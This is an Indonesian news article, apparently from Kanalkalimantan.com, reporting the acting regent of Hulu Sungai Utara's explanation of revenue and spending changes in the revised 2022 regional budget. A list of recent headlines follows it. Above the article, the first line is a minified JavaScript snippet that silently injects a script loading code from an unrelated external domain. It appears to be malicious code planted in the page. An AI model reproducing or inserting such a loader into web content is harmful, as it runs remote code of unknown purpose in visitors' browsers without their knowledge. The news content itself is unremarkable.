(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Plt Bupati HSU: Ada Peningkatan Pendapatan Daerah di APBD Perubahan 2022


KANALKALIMANTAN.COM, AMUNTAI – Pelaksana Tugas (Plt) Bupati Hulu Sungai Utara (HSU) Husairi Abdi menyebut ada peningkatan pendapatan daerah pada rancangan APBD Perubahan tahun 2022.

Hal tersebut disampaikan Plt Bupati HSU dalam rapat paripurna DPRD HSU dengan agenda penjelasan kepala daerah tentang Anggaran Pendapatan dan Belanja Daerah (APBD) Perubahan tahun anggaran 2022, Senin (29/8/2022).

Plt Bupati HSU menjelaskan, sebagaimana naskah rancangan APBD Perubahan tahun 2022, pendapatan daerah dianggarkan Rp 990,817 miliar, bertambah menjadi Rp 238,459 milliar sehingga berjumlah Rp 1,229 triliun lebih.

Sedangkan belanja daerah yang diproyeksikan mengalami kenaikan, semula Rp 1,301 triliun, bertambah menjadi Rp 149, 367 miliar, sehingga berjumlah Rp 1,450 triliun.

 

Baca juga  : Diduga Korsleting Listrik Kabel di Bawah Kasur, Kontrakan di Zafri Zamzam Terbakar

Sementara itu, pada sisi penerimaan pembiayaan dalam rancangan APBD Perubahan tahun anggaran 2022 diproyeksikan penerima pembiayaan semula dianggarkan Rp 352, 926 miliar, berkurang sebesar Rp 77, 342 miliar, sehingga menjadi Rp 275, 584 miliar.

Lebih lanjut, Plt Bupat HSU Husari Abdi menyampaikan, APBD Perubahan dilakukan untuk menyesuaikan APBD dengan perkembangan atau keadaan, dimana perubahan APBD diartikan sebagai upaya pemerintah daerah untuk menyesuaikan rencana keuangan dengan perkembangan yang terjadi.

“Perkembangan dimaksud bisa diimplikasi pada meningkatnya anggaran penerimaan maupun pengeluaran, ataupun sebaliknya. Namun, bisa juga untuk mengakomodasi pergeseran-pergeseran anggaran dalam satu SKPD atau antar SKPD,” kata Husairi.

“Sedangkan secara normatif APBD Perubahan telah diatur dalam peraturan perundang-undangan, baik dalam Undang-Undang Nomor 23 tahun 2014 tentang pemerintahan daerah, maupun dalam Peraturan Pemerintah Nomor 12 tahun 2019 tentang pengelolaan keuangan daerah,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

16 menit ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

4 jam ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

5 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

5 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

7 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

7 jam ago

This website uses cookies.